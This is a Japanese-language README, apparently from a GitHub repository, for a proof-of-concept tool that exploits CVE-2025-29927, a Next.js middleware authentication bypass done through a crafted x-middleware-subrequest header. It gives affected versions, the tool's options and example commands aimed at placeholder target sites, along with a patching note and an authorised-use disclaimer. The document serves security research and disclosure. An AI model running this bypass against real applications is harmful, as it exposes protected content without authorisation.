
このリポジトリには、CVE-2025-29927 の概念実証 (PoC) が含まれています。これは、Next.js ミドルウェアの脆弱性で、ヘッダー操作によって認証および認可チェックをバイパスできるようにするものです。
影響を受けるバージョン: >= 11.1.4, <= 1 3.5.6, > 14.0.0, < 14.2.25, > 15.0.0, < 15.2.3
CVE ID: CVE-2025-29927
深刻度: 高 (CVSS: 9.1)
この脆弱性は Next.js のミドルウェアチェーン実行に存在します。攻撃者は x-middleware-subrequest ヘッダーを操作してミドルウェアのセキュリティ制御をバイパスできます。特定のヘッダー値を細工することで、ミドルウェアはリクエストがすでに処理済みであるかのように扱われ、実質的に認証チェックをバイパスできます。
このツールは次のバージョンでテストされています: Next.js 15.0.0 から 15.2.2。他のバージョンでは変更が必要になる場合があります。
以下のコマンドで依存関係をインストールします:
pip install -r requirements.txt
python poc-cve-2025-29927.py http://example.com/protected-route
usage: poc-cve-2025-29927.py [-h] [-r REPEAT] [-o OUTPUT] [--no-browser] [-f] url
PoC for CVE-2025-29927 - Next.js Middleware Bypass
positional arguments:
url Target URL to test (e.g., http://localhost:3000/admin/dashboard)
options:
-h, --help show this help message and exit
-r REPEAT, --repeat REPEAT
Number of middleware repeats in header (default: 5)
-o OUTPUT, --output OUTPUT
Output file name (default: response.html)
--no-browser Do not open result in browser
-f, --force Skip version check and force exploit attempt
python poc-cve-2025-29927.py http://localhost:3000/admin/dashboard
python poc-cve-2025-29927.py http://target-site.com/admin/dashboard -f
python poc-cve-2025-29927.py http://vulnerable-app.com/protected-page -r 10 -o result.html --no-browser
このスクリプトは、まずさまざまな検出方法を使用してターゲットアプリケーションの Next.js バージョンのフィンガープリンティングを試みます。
脆弱なバージョン(15.0.0-15.2.2)が検出された場合、エクスプロイトを続行します。
特別に細工された x-middleware-subrequest ヘッダーを含むリクエストが送信されます。
レスポンスはファイルに保存され、成功の指標が分析されます。
成功した場合、保護されたコンテンツに認証なしでアクセスできます。
脆弱なバージョンの Next.js を実行している場合は、バージョン 15.2.3 以降にアップグレードしてこの脆弱性を修正してください。
このツールは教育およびセキュリティ研究目的のみで提供されます。所有しているアプリケーション、またはテストする明示的な許可を得たアプリケーションに対してのみ使用してください。無断でのテストは適用される法律に違反する可能性があります。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
Heimd411
セキュリティ研究者
GitHub プロフィール
このリポジトリ